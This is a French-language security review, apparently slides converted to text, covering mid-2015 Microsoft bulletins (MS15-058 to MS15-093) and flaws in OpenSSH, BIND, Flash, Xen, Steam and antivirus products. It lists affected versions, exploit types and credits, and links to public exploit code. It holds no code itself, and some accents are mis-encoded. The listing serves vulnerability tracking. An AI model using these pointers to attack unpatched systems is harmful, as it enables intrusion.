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Failles / Bulletins / Advisories

MS15-058 Vulnérabilités dans SQL Serveur (3 CVE) [Exploitabilité 2]

ǒAffecte:
ƺ SQL Serveur 2008, 2012 et 2014

ƺ Bulletin de juin non publié

ǒExploit:
ƺ Élévation de privilèges pour un utilisateur authentifié

ƺ Exécutions de code nécessitant qu'un utilisateur à privilèges élevés exécute des requêtes SQL 

spécialement formaté

ǒCrédits:
ƺ ? (CVE-2015-1761, CVE-2015-1762, CVE-2015-1763)

MS15-066 Vulnérabilités dans VBScript (1 CVE) [Exploitabilité 1]

ǒAffecte:
ƺ JScript 5.6, 5.7 et 5.8 (Windows Vista, 2003, 2008, 2008 Core)

ƺ Remplace MS15-019

ǒExploit:
ƺ Exécution de code à l'affichage d'une page web contenant un ActiveX

ǒCrédits:
ƺ Bo Qu de Palo Alto Networks (CVE-2015-2372)
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Failles / Bulletins / Advisories

MS15-065 Vulnérabilités dans Internet Explorer (29 CVE)                    [Exploitabilité 0]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ǒExploit:
ƺ 19 x Corruptions de mémoire aboutissant à une exécution de code

ƴ Dont CVE-2015-2425 découverte dans les documents de la fuite d'Hacking Team

ƺ 1 x Corruptions de mémoire dans un script VBScript aboutissant à une exécution de code

ƺ 1 x Corruptions de mémoire depuis Jscript9/Chakra (Moteur Javascript d'IE9)

ƺ 6 x Contournement ASLR (fuite d'information)

ƺ 1 x Contournement du filtrage anti XSS

ƺ 1 x Élévation de privilèges
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Crédits:
4cbad7dc77d1a1af7d66b5ded6cd92a5 par ZDI (CVE-2015-2404)

A3F2160DCA1BDE70DA1D99ED267D5DC1EC336192 par ZDI (CVE-

2015-2397)

AA32AF9897C15779037CD4FC1C1C13D7 par ZDI (CVE-2015-2397)

Angelo Prado directeur sécurité chez Salesforce (CVE-2015-2414)

Anonymous par ZDI (CVE-2015-1767)

Ashutosh Mehra par ZDI (CVE-2015-2402, CVE-2015-2412)

B6BEB4D5E828CF0CCB47BB24AAC22515 par ZDI (CVE-2015-2388, 

CVE-2015-2406)

Bill Finlayson Vectra Networks (CVE-2015-2425)

Bo Qu de Palo Alto Networks (CVE-2015-2422)

ca0nguyen par ZDI (CVE-2015-2403)

Dhanesh Kizhakkinan de FireEye Inc. (CVE-2015-2425)

Huang de Baidu Scloud XTeam par ZDI (CVE-2015-2408)

Jack Tang de Trend Micro Inc. (CVE-2015-2391)

JaeHun Jeong (@n3sk) WINS/WSEC (CVE-2015-1733)

JeongHoon Shin (CVE-2015-2411)

Jihui Lu de KeenTeam (@K33nTeam) (CVE-2015-2383)

Li Kemeng de Baidu Anti-virus Team (CVE-2015-1738)

Qihoo 360 Vulcan Team

Linan Hao (CVE-2015-2389, CVE-2015-2390)

Liu Long (CVE-2015-2383, CVE-2015-2384, CVE-2015-

2385)

Mario Heiderich (CVE-2015-2398)

Mashiro YAMADA (CVE-2015-1729)

Peter Pi de TrendMicro (CVE-2015-2425)

Sky par ZDI (CVE-2015-2383)

Un employé de Google (???) (CVE-2015-2410)

Zheng Huang de the Baidu Scloud XTeam par ZDI (CVE-2015-

1767)



Failles / Bulletins / Advisories

MS15-067 Vulnérabilités dans RDP (1 CVE) [Exploitabilité 3]

ǒAffecte:
ƺ RDP 8.0, c'est à dire Windows 7, 8, 2012 et 2012 Core

ƺ Remplace MS15-030

ǒExploit:
ƺ Exécutions de code à distance sans authentification, si RDP est en écoute 

ƴ Pas de code dôexploitation public (pour lôinstant)

ǒCrédits:
ƺ ? (CVE-2015-2373)

MS15-068 Évasion de la VM depuis Hyper-V (2 CVE) [Exploitabilité 2]

ǒAffecte:
ƺ Hyper-V toutes versions supportées (Windows Server 2008, 2008 R2, 8, 8.1, 2012, 

2012 R2 et Core)

ǒExploit:
ƺ 2 x Évasions de la machine virtuelle et exécution de code sur l'hyperviseur depuis 

un compte authentifié et à privilèges

ǒCrédits:
ƺ Thomas Garnier de Microsoft (CVE-2015-2361, CVE-2015-2362)  

ƴ Premier crédit pour un ingénieur interne
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Failles / Bulletins / Advisories

MS15-069 Préchargement de DLL (2 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ǒExploit:
ƺ DLL préloading et exécutions de code par le chargement d'une DLL à l'ouverture d'un fichier RTF

ǒCrédits:
ƺ Ashutosh Mehra par ZDI (CVE-2015-2368)

ƺ Haifei Li de l'équipe IPS de McAfee (CVE-2015-2369)

MS15-070 Vulnérabilités dans Office (8 CVE) [Exploitabilité 1]

ǒAffecte:
ƺ Microsoft Office toutes versions supportées (Windows et Mac)

ƺ Microsoft SharePoint 2007, 2010 et 2013

ƺ Remplace MS13-084, MS15-022 et MS15-033

ǒExploit:
ƺ6 x Corruptions de m®moire aboutissant ¨ une ex®cution de code ¨ lôouverture dôun fichier Office

ƴ CVE-2015-2424 utilisée dans la nature par les Russes d'APT28, avec un marqueur amusant "t00tt00t" ("ici ici")

ƴ http://www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/

ƺ 1 x Contournement ASLR

ǒCrédits:
ƺ 3S Labs par ZDI (CVE-2015-2375, CVE-2015-2376 et CVE-2015-2377)

ƺ Edward Fjellskål de Telenor CERT (CVE-2015-2424)

ƺ Jack Tang de Trend Micro (CVE-2015-2415)

ƺ M1x7e1(ShiXiaoLei) de SafeyeTeam (CVE-2015-2378)

ƺ Steven Vittitoe de Google Project Zero (CVE-2015-2379, CVE-2015-2380)

ƺ The Labs Team de iSIGHT Partners (CVE-2015-2424)
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http://www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/


Failles / Bulletins / Advisories

MS15-071 Élévation de privilèges depuis NetLogon (1 CVE) [Exploitabilité 3]

ǒAffecte:
ƺWindows Serveur toutes versions supportées (utilisés comme DC)

ǒExploit:
ƺ Élévation de privilèges en se faisant passer pour un DC de backup vis à vis d'un PDC (récupération 

d'identifiants et secrets)

ǒCrédits:
ƺ ? (CVE-2015-2374)

MS15-072 Vulnérabilités dans GDI (1 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS15-035

ǒExploit:
ƺ Élévation de privilèges lors du traitement d'une conversion de bitmap en mémoire (ne concerne pas le 

format de fichier BMP, tout du moins pas directement)

ǒCrédits:
ƺ Nicolas Joly @n_joly (CVE-2015-2364)
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Failles / Bulletins / Advisories

MS15-073 Vulnérabilités noyau Win32k.sys (6 CVE) [Exploitabilité 2]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS15-061

ǒExploit:
ƺ 3 x Élévations de privilèges locales

ƺ 3 x Fuites d'information sur la mémoire (contournement d'ASLR)

ǒCrédits:
ƺ enSilo (CVE-2015-2363)

ƺ Matt Tait de Google Project Zero (CVE-2015-2381, CVE-2015-2382)

ƺ Nils Sommer de bytegeist par  Google Project Zero (CVE-2015-2365, CVE-2015-2366)

ƺ Peng Qiu de 360Vulcan Team (CVE-2015-2363)

MS15-074 Vulnérabilités dans Windows Installer (1 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS49-049

ǒExploit:
ƺ Élévation de privilèges locale grâce à un .MSI légitime (signé) et vulnérable dont on remplacera le 

script dôactions personnalis®es

ǒCrédits:
ƺ Mariusz Mlynski par ZDI (CVE-2015-2371)

Microsoft - Avis Juillet 2015



Failles / Bulletins / Advisories

MS15-075 Vulnérabilités dans Windows OLE (2 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS13-070

ǒExploit:
ƺ Élévation de privilèges depuis OLE (Object Linking & Embedding), peut être appelé depuis Internet 

Explorer

ǒCrédits:
ƺ Nicolas Joly @n_joly (CVE-2015-2416, CVE-2015-2417) 

MS15-076 Vulnérabilités dans les RPC (1 CVE) [Exploitabilité 2]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Remplace MS15-055

ǒExploit:
ƺ Élévation de privilèges en redirigeant une authentification COM vers un port TCP maîtrise par 

l'attaquant (récupération du token) ou vers un RPC local

ƺ Code d'exploitation :
ƴ https://code.google.com/p/google-security-research/issues/detail?id=325

ǒCrédits:
ƺ James Forshaw of Google Project Zero (CVE-2015-2370)

Microsoft - Avis Juillet 2015

https://code.google.com/p/google-security-research/issues/detail?id=325


Failles / Bulletins / Advisories

MS15-077 Vulnérabilités dans Adobe Font Driver / atmfd.dll (1 CVE) [Exploitabilité 0]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Remplace MS15-021

ǒExploit:
ƺ Exécutions de code en ring 0 lors du traitement d'une police de caractères (kernel pool overflow) 

ƴ Découvert dans les documents de la fuite d'Hacking Team et analysé par 360Vulcan

https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-

8&u=http%3A%2F%2Fblogs.360.cn%2Fblog%2Fhacking-team-part5-atmfd-0day-2%2F&edit-text=

ǒCrédits:
ƺ Google Project Zero and Morgan Marquis-Boire (CVE-2015-2387)
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https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=http://blogs.360.cn/blog/hacking-team-part5-atmfd-0day-2/&edit-text=


Failles / Bulletins / Advisories

- Publication hors bande -

MS15-078 Vulnérabilités dans Adobe Font Driver / atmfd.dll (1 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Pas de correctif pour Windows 2003 car plus supporté

ǒExploit:
ƺ Exécutions de code en ring 0 lors du traitement d'une police de caractères OpenType

ƺ D®couverte dôun code dôexploitation dans la nature
ƴ 01/07 Publication dôun avertissement par Google Zero avec un d®lai de 7 jours avant publication compl¯te

ƴ 08/07 Publication compl¯te de lôexploit :

ǒ https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&sort=-id

-> code dôexploitation sans correctif pour Windows 2003

ƴ 14/07 Publication du bulletin de juillet sans MS15-078

ƴ 20/07 Publication du correctif par MS15-078

ǒCrédits:
ƺ CVE-2015-2426

ƴ Mateusz Jurczyk de Google Project Zero

ƴ Genwei Jiang de FireEye, Inc.

ƴ Moony Li de TrendMicro Company

Microsoft - Avis Juillet 2015 

https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&sort=-id


Failles / Bulletins / Advisories

MS15-079 Vulnérabilités dans Internet Explorer (13 CVE)                   [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS15-065

ǒExploit:
ƺ 10 x Corruptions de mémoire aboutissant à une exécution de code

ƺ 2 x Contournement ASLR (fuite d'information)

ƺ 1 x Fuite d'information

ǒCrédits:
ƺ Linan Hao (CVE-2015-2442)

ƺ Anonymous par ZDI (CVE-2015-2443)

ƺ Moritz Jodeit de Blue Frost Security (CVE-2015-2444)

ƺ Jack Tang de Trend Micro (CVE-2015-2445)

ƺ Heige (a.k.a. SuperHei) from Knownsec 404 Security Team (CVE-2015-2446)

ƺ sweetchip@GRAYHASH (CVE-2015-2447)

ƺ Anonymous par ZDI (CVE-2015-2448)

ƺ Linan Hao (CVE-2015-2449)

ƺ 0016EECD9D7159A949DAD3BC17E0A939 par ZDI (CVE-2015-2450, CVE-2015-2451, CVE-2015-2452)

Microsoft - Avis Aout 2015 



Failles / Bulletins / Advisories

MS15-080 Vulnérabilités dans GDI et Adobe Font Driver / atmfd.dll (16 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS15-078

ǒExploit:
ƺ 6 x Exécutions de code lors du traitement d'une police de caractères OpenType

ƺ 5 x Exécutions de code lors du traitement d'une police de caractères TrueType

ƺ 1 x Exécutions de code lors du traitement d'un objet graphique Office (OGL)

ƺ 1 x Contournement de Kernel ASLR

ƺ 1 x Elévation de privilèges lors de la fermeture d'une sessions par le process CSRSS

ƺ 1 x Elévation de privilèges en contournant une mesure de sécurité du kernel

ƺ 1 x Elévation de privilèges en contournant une mesure de sécurité du shell windows

ǒCrédits:
ƺ Google Project Zero

ƴ Mateusz Jurczyk (CVE-2015-2456, CVE-2015-2458, CVE-2015-2459, CVE-2015-2460, CVE-2015-2461, CVE-

2015-2462, CVE-2015-2463, CVE-2015-2464)

ƴ Steven Vittitoe (CVE-2015-2431)

ƺ Mateusz Jurczyk de Google Inc. (CVE-2015-2432)

ƺ Matt Tait de Google Inc. (CVE-2015-2433)

ƺ KeenTeam's Jihui Lu et Peter Hlavaty par ZDI (CVE-2015-2435)

ƺ Liang Yin de Tencent PC Manager (CVE-2015-2453)

ƺ Ashutosh Mehra par ZDI (CVE-2015-2454)

ƺ Mateusz Jurczyk de Google Project Zero (CVE-2015-2455)

ƺ KeenTeam's Jihui Lu et Peter Hlavaty par ZDI (CVE-2015-2455)

Microsoft - Avis Aout 2015 



Failles / Bulletins / Advisories

MS15-081 Vulnérabilités dans Office (8 CVE) [Exploitabilité 1]

ǒAffecte:
ƺ Microsoft Office toutes versions supportées (Windows et Mac)

ƺ Microsoft SharePoint 2007, 2010 et 2013

ƺ Remplace MS12-046 MS15-046 MS13-072 MS15-070 MS13-044 MS11-089

ǒExploit:
ƺ7 x Corruptions de m®moire aboutissant ¨ une ex®cution de code ¨ lôouverture dôun fichier Office

ƺ 1 x Fuite d'information (liée à la fuite d'information d'Internet Explorer)

ǒCrédits:
ƺ Fortinet's FortiGuard Labs (CVE-2015-1642)

ƺ Yong Chuan Koh (@yongchuank) de MWR Labs (@mwrlabs) (CVE-2015-1642)

ƺ s3tm3m@gmail.com de VeriSign iDefense Labs (CVE-2015-1642)

ƺ Steven Vittitoe de Google Project Zero (CVE-2015-2467, CVE-2015-2468, CVE-2015-2469, CVE-2015-2470, CVE-

2015-2477)

MS15-082 Vulnérabilités dans RDP (2 CVE) [Exploitabilité 1]

ǒAffecte:

ƺWindows (toutes versions supportées)

ƺ Remplace MS13-029 MS15-069

ǒExploit:
ƺ Contournement de l'authentification par certificat et impersonnification

ƺ Chargement d'une DLL en réussissant à faire ouvrir à un utilisateur un fichier .RDP l'accompagnant

ǒCrédits:
ƺ ? (CVE-2015-2472, CVE-2015-2473)
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Failles / Bulletins / Advisories

MS15-083 Vulnérabilités dans SMB (1 CVE) [Exploitabilité 2]

ǒAffecte:
ƺWindows Vista, Windows Serveur 2008, 2008 R2 et 2008 Core

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS10-012

ǒExploit:
ƺ Exécutions de code à distance lors du traitement de message de log spécialement formaté

ǒCrédits:
ƺ ? (CVE-2015-2474)

MS15-084 Vulnérabilités dans MSXML (3 CVE) [Exploitabilité 3]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Correctif également pour Windows XP Embedded POSReady (cf. screenshot après)

ƺ Remplace MS15-039 MS14-033 MS13-002

ǒExploit:
ƺ 2 x Utilisation de SSLv2 !!?

ƺ Contournement d'ASLR

ǒCrédits:
ƺ ? (CVE-2015-2434, CVE-2015-2471)

ƺ Ucha Gobejishvili par ZDI (CVE-2015-2440)
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Failles / Bulletins / Advisories

MS15-085 Vulnérabilités dans le Montage de périphérique USB (1 CVE) [Exploitabilité 0]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Remplace MS15-038 MS15-076 MS15-025 MS15-052

ǒExploit:
ƺ Exécutions de code à l'insertion d'une clef USB (à partir de liens symboliques)

ƺ Code CVE dans le correctif :-)
ƴ Pour alerter d'une tentative d'exploitation dans les évènements système (event log)

https://twitter.com/Laughing_Mantis/status/631189130643312640

ǒCrédits:
ƺ ? (CVE-2015-1769)

MS15-086 Vulnérabilités dans System Center (1 CVE) [Exploitabilité 2]

ǒAffecte:
ƺ System Center 2012 et 2012 R2

ǒExploit:
ƺ XSS dans la console Web du System Center Operations Manager Web Console

ƴ Orchestrateur de Microsoft

ǒCrédits:
ƺ ? (CVE-2015-2420)

Microsoft - Avis Aout 2015 

https://twitter.com/Laughing_Mantis/status/631189130643312640


Failles / Bulletins / Advisories

MS15-087 Vulnérabilités dans UDDI et BizTalk (1 CVE) [Exploitabilité 2]

ǒAffecte:
ƺWindows Serveur 2008

ƺ Microsoft BizTalk Serveur 2010, 2013 et 2013 R2

ǒExploit:
ƺ XSS dans Universal Description, Discovery and Integration (UDDI) et BizTalk

ƺ Problème de nettoyage du paramètre de recherche dans une FRAME

ǒCrédits:
ƺ François-Xavier Stellamans de NCI Agency - Cyber Security / NCIRC (CVE-2015-2475)

MS15-088 Vulnérabilités dans Windows (1 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Remplace MS15-020

ǒExploit:
ƺ Problème de traitement de la ligne de commande et fuite d'information (lié à MS15-079 et MS15-081)

ǒCrédits:
ƺ ? (CVE-2015-2423)

MS15-089 Vulnérabilités dans WebDav (1 CVE) [Exploitabilité 3]

ǒ Affecte:
ƺ Windows (toutes versions supportées)

ǒ Exploit:
ƺ Utilisation de SSLv2 dans WebDav

ǒ Crédits:
ƺ ? (CVE-2015-2476)

Microsoft - Avis Aout 2015 



Failles / Bulletins / Advisories

MS15-090 Vulnérabilités dans Windows (3 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows (toutes versions supportées)

ƺ Remplace MS15-038 MS15-025 MS15-076 MS15-052

ǒExploit:
ƺ Élévation de privilèges à partir du registre, du système de fichier et du manager d'objets

ǒCrédits:
ƺ ? (CVE-2015-2428)

ƺ Ashutosh Mehra par ZDI (CVE-2015-2429, CVE-2015-2430)

MS15-091 Vulnérabilités dans Edge (Remplaçant d'Internet Explorer) (4 CVE) [Exploitabilité 1]

ǒAffecte:
ƺWindows 10 uniquement

ǒExploit:
ƺ 3 x Corruptions de mémoire aboutissant à une exécution de code

ƺ 1 x Contournement ASLR (fuite d'information)

ǒCrédits:
ƺ ? (CVE-2015-2442, CVE-2015-2446, CVE-2015-2449)

ƺ Liu Long de Qihoo 360 (CVE-2015-2341)
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Failles / Bulletins / Advisories

MS15-092 Vulnérabilités dans .NET (1 CVE) [Exploitabilité 3]

ǒAffecte:
ƺWindows (toutes versions supportées)

ǒExploit:
ƺ 3 x élévation de privilèges du fait de mauvaises optimisations du compilateur RyuJIT

ǒCrédits:
ƺ ? (CVE-2015-2480, CVE-2015-2481)

ƺ Nick Craver & Marc Gravell de Stack Overflow (CVE-2015-2479)

- Publication hors bande -

MS15-093 Vulnérabilités dans Internet Explorer (1 CVE) [Exploitabilité 3]

ǒAffecte:
ƺ Internet Explorer (toutes versions supportées)

ǒExploit:
ƺ Corruptions de mémoire aboutissant à une exécution de code

ǒCrédits:
ƺ Clément Lecigne de Google Inc. en Suisse (CVE-2015-2502)

Microsoft - Avis Aout 2015 



Failles / Bulletins / Advisories

MSRCôs TOP 100
https://twitter.com/tiraniddo/status/629014435898617856/photo/1

Microsoft - Avis Juin 2015

https://twitter.com/tiraniddo/status/629014435898617856/photo/1


Failles / Bulletins / Advisories

Mise à jour pour Windows XP Embedded POSReady

ǒ Encore et toujours sans documenter dans les bulletinsé

Microsoft - Avis Juin 2015



Failles / Bulletins / Advisories

2755801 Mise à jour de Flash Player

ǒV45.0 Nouvelle mise à jour de Flash Player, dont Windows 10

3057154 Durcissement des configurations utilisant encore DES

ǒV1.0 Désactivation de DES pour les comptes par défaut dont krbtgt

3074162 Élévation de privilèges dans "Microsoft Malicious Software Removal Tool" / 

MSRT

ǒV1.0 Correction d'une "race condition" dans le répertoire temporaire global utilisé pour ses 

propres DLL avant de les charger
ƺ Découvert par James Forshaw de Google Project Zero (CVE-2015-2418)

ƺ Code d'exploitation
https://code.google.com/p/google-security-research/issues/detail?id=440

Microsoft - Advisories et Revisions Juin 2015

https://code.google.com/p/google-security-research/issues/detail?id=440&can=1&q=Forshaw


Failles / Bulletins / Advisories

Windows 2003 R2 côest fini, fin du support !
https://support.microsoft.com/en-us/lifecycle?p1=3198

IIS 6.0 aussi, fin du support et pourtanté
https://www.shodan.io/report/XbQ5YcCm

Microsoft - Autre

https://support.microsoft.com/en-us/lifecycle?p1=3198
https://www.shodan.io/report/XbQ5YcCm


Failles / Bulletins / Advisories

Windows 10 est là !

ǒAvec sa collection de mouchards, comme les autres (Apple et Google) en pire

ƺ Mais en laissant la possibilité de les désactiver

http://www.clubic.com/windows-os/windows-10/article-775368-1-windows-10-recuperer-espace-disque-installation.html

https://korben.info/windows-10-est-il-un-systeme-dexploitation-diabolique.html

ƺ Les requêtes DNS sont envoyées sur toutes les interfaces

https://medium.com/@ValdikSS/beware-of-windows-10-dns-resolver-and-dns-leaks-5bc5bfb4e3f1

ǒLa licence est un troll à elle seule

ƺ<<dôemp°cher votre utilisation de jeux contrefaits ou de terminaux non autoris®s>>

http://www.journaldugamer.com/2015/08/17/windows-10-le-droit-scanner-votre-ordinateur-bloquer-jeux-pirates/

ǒLa Suisse pourrait en interdire la vente

ƺ Si le Préposé fédéral à la protection des données écoute le Parti Pirate

http://www.tdg.ch/high-tech/Windows-10-Berne-sommee-de-proteger-la-sphere-privee-/story/25432634

ǒWindows 10 Home : $119.99 ou 134,90ú!!? (constat au 2 août 2015)
http://www.amazon.com/Microsoft-Windows-Home-Flash-Drive/dp/B01019T6O0/

http://www.amazon.fr/Microsoft-KW9-00239-Windows-Famille-

FPP/dp/B011EC2TOW/ref=sr_1_1?s=software&ie=UTF8&qid=1437120369&sr=1-

1&keywords=%22Windows+10%22#productPromotions

Microsoft baisse (enfin) les bras, abandonne Silverlight et recommande HTML5
http://www.developpez.com/actu/87264/Microsoft-encourage-l-abandon-de-Silverlight-pour-HTML5-la-technologie-ne-sera-

pas-supportee-dans-le-navigateur-Edge/

Microsoft - Autre

http://www.clubic.com/windows-os/windows-10/article-775368-1-windows-10-recuperer-espace-disque-installation.html
https://korben.info/windows-10-est-il-un-systeme-dexploitation-diabolique.html
https://medium.com/@ValdikSS/beware-of-windows-10-dns-resolver-and-dns-leaks-5bc5bfb4e3f1
http://www.journaldugamer.com/2015/08/17/windows-10-le-droit-scanner-votre-ordinateur-bloquer-jeux-pirates/
http://www.tdg.ch/high-tech/Windows-10-Berne-sommee-de-proteger-la-sphere-privee-/story/25432634
http://www.amazon.com/Microsoft-Windows-Home-Flash-Drive/dp/B01019T6O0/
http://www.amazon.fr/Microsoft-KW9-00239-Windows-Famille-FPP/dp/B011EC2TOW/ref=sr_1_1?s=software&ie=UTF8&qid=1437120369&sr=1-1&keywords="Windows+10"#productPromotions
http://www.developpez.com/actu/87264/Microsoft-encourage-l-abandon-de-Silverlight-pour-HTML5-la-technologie-ne-sera-pas-supportee-dans-le-navigateur-Edge/


Failles / Bulletins / Advisories

PHP File Manager

ǒ12 vulnérabilités

ǒEt une backdoor : un utilisateur nommé ****__DO_NOT_REMOVE_THIS_ENTRY__****'.
http://seclists.org/fulldisclosure/2015/Jul/117

libuser, déni de service et élévation de privilèges

ǒPubli® quelque minutes apr¯s la sortie du correctif, ce qui nôa pas forcement plu ¨ tous
http://seclists.org/oss-sec/2015/q3/185

OpenSSH, brute force du mot de passe sans limite (si PAM activé)
https://kingcope.wordpress.com/2015/07/16/openssh-keyboard-interactive-authentication-brute-force-vulnerability-

maxauthtries-bypass/

ǒMais pas tout à fait
http://bsdly.blogspot.fr/2015/07/the-openssh-bug-that-wasnt.html

Popcorn Time, Exécution de code et prise de contrôle à distance

ǒInjection de Javascript du fait de requêtes de contenu JSON non chiffré et mal nettoyé

ǒExécution de code depuis Javascript grâce au Framework utilisé : NodeJS
https://blog.daknob.net/grab-some-popcorn-and-launch-popcorn-time/

https://github.com/DaKnOb/PopcornTimeExploits

Système (principales failles)

http://seclists.org/fulldisclosure/2015/Jul/117
http://seclists.org/oss-sec/2015/q3/185
https://kingcope.wordpress.com/2015/07/16/openssh-keyboard-interactive-authentication-brute-force-vulnerability-maxauthtries-bypass/
http://bsdly.blogspot.fr/2015/07/the-openssh-bug-that-wasnt.html
https://blog.daknob.net/grab-some-popcorn-and-launch-popcorn-time/
https://github.com/DaKnOb/PopcornTimeExploits


Failles / Bulletins / Advisories

Bind, déni de service
http://blog.erratasec.com/2015/07/a-quick-review-of-bind9-code.html

https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c

PowerDNS

ǒD®ni de service ¨ lôenvoie dôun paquet sp®cialement format® / packet-of-death (CVE-2015-

5230)
http://seclists.org/bugtraq/2015/Sep/8

Flash CVE-2015-5119

ǒProvenant de Hacking Team, vendue $45k par un chercheur Russe indépendant
http://arstechnica.com/security/2015/07/how-a-russian-hacker-made-45000-selling-a-zero-day-flash-exploit-to-hacking-team/

ǒRapidement utilis®e dans les kit dôexploitation de criminels
http://malware.dontneedcoffee.com/2015/07/hackingteam-flash-0d-cve-2015-xxxx-and.html

Flash CVE-2015-5122

ǒÉgalement en provenance de Hacking Team, du même chercheur mais donné gratuitement

ǒDétails de la vulnérabilité par 360Vulcan
https://translate.googleusercontent.com/translate_c?depth=1&hl=en&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=en&u=

http://blogs.360.cn/360safe/2015/07/11/hacking-team-part4-flash-2/&usg=ALkJrhjcvQLTyI2BayJIfWlhMwKrs4y4CA

Système (principales failles)

http://blog.erratasec.com/2015/07/a-quick-review-of-bind9-code.html
https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c
http://seclists.org/bugtraq/2015/Sep/8
http://arstechnica.com/security/2015/07/how-a-russian-hacker-made-45000-selling-a-zero-day-flash-exploit-to-hacking-team/
http://malware.dontneedcoffee.com/2015/07/hackingteam-flash-0d-cve-2015-xxxx-and.html
https://translate.googleusercontent.com/translate_c?depth=1&hl=en&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=en&u=http://blogs.360.cn/360safe/2015/07/11/hacking-team-part4-flash-2/&usg=ALkJrhjcvQLTyI2BayJIfWlhMwKrs4y4CA


Failles / Bulletins / Advisories

100% des montres connectés sont vulnérables, selon HP
http://www.linformaticien.com/actualites/id/37413/100-des-smartwatches-ont-

des-vulnerabilites-selon-une-etude-hp.aspx

RawHammer exploitable depuis Javascript !!?
http://arxiv.org/pdf/1507.06955v1.pdf

Matériel
Écoutez, moi 

ma montre 

connectée, elle 

est sûre !

Ping SMS

ǒSavoir si un Smartphone est connecté
http://www.evilsocket.net/2015/07/27/how-to-use-old-gsm-protocolsencodings-know-if-a-user-is-online-on-the-gsm-network-aka-pingsms-2-0/

Vulnérabilités dans les disques durs sans-fil Seagate

ǒMots de passe cod®s en dur, é.

http://www.kb.cert.org/vuls/id/903500

http://www.linformaticien.com/actualites/id/37413/100-des-smartwatches-ont-des-vulnerabilites-selon-une-etude-hp.aspx
http://arxiv.org/pdf/1507.06955v1.pdf
http://www.evilsocket.net/2015/07/27/how-to-use-old-gsm-protocolsencodings-know-if-a-user-is-online-on-the-gsm-network-aka-pingsms-2-0/


Failles / Bulletins / Advisories

Xen / Qemu

ǒ£vasion dôune machine virtuelle par un heap overflow ¨ partir de certaines commandes ATAPI 

et du lecteur de CD (CVE-2015-5154)
http://xenbits.xen.org/xsa/advisory-138.html

ǒ£vasion dôune machine virtuelle par un use after free (CVE-2015-5166)
http://xenbits.xen.org/xsa/advisory-139.html

ǒFuite de m®moireé sur le r®seau (CVE-2015-5165)
http://xenbits.xen.org/xsa/advisory-140.html

ǒHeap overflow (CVE-2015-3214)
https://code.google.com/p/google-security-research/issues/detail?id=419

Faille steam

ǒChangement de mot de passe de nôimporte qui avec code vide
http://www.clubic.com/mag/jeux-video/actualite-774740-bug-genant-compromet-securite-steam.html

Système (principales failles)

http://xenbits.xen.org/xsa/advisory-138.html
http://xenbits.xen.org/xsa/advisory-139.html
http://xenbits.xen.org/xsa/advisory-140.html
https://code.google.com/p/google-security-research/issues/detail?id=419
http://www.clubic.com/mag/jeux-video/actualite-774740-bug-genant-compromet-securite-steam.html


Failles / Bulletins / Advisories

Les Antivirus en 2015...

ǒNOD32, exécution de code (cf. revue 2015-07-07)

ǒMicrosoft Malicious Software Removal Tool, race condition et chargement dôune DLL 

malveillante en tant que SYSTEM
https://technet.microsoft.com/en-us/library/security/3074162

ǒSymantec Antivirus Manager : contournement de lôauthentification, ®l®vation de privil¯ges, 

injections SQLé
http://codewhitesec.blogspot.nl/2015/07/symantec-endpoint-protection.html

ǒSymantec Antivirus / endpoint protection : exécution de code en tant que SYSTEM

ǒAvast : ®l®vations de privil¯ges, de lôex®cution de code ¨ distance et contournement de la ç 

confiance » des processus.
http://expertmiami.blogspot.fr/2015/07/avast-cache-virus-rpc-eop-et-rce.html

http://expertmiami.blogspot.fr/2015/07/avast-partage-dinterface-rpc-eop.html

http://expertmiami.blogspot.fr/2015/08/avast-contournement-de-la-protection.html

http://expertmiami.blogspot.fr/2015/08/avast-taskex-rpc-eop-and-potential-rce.html

http://expertmiami.blogspot.fr/2015/08/avast-shatter-attack-eop.html

ǒF-Secure : élévation de privilèges
https://www.f-secure.com/en/web/labs_global/fsc-2015-3 / http://www.ioactive.com/pdfs/IOActive_Advisory_F-Secure.pdf

ǒKaspersky : ¨ veniré (par Tavis O.) ᵼcorrig® en 24h par lô®diteur (cf. ñmalwareò)

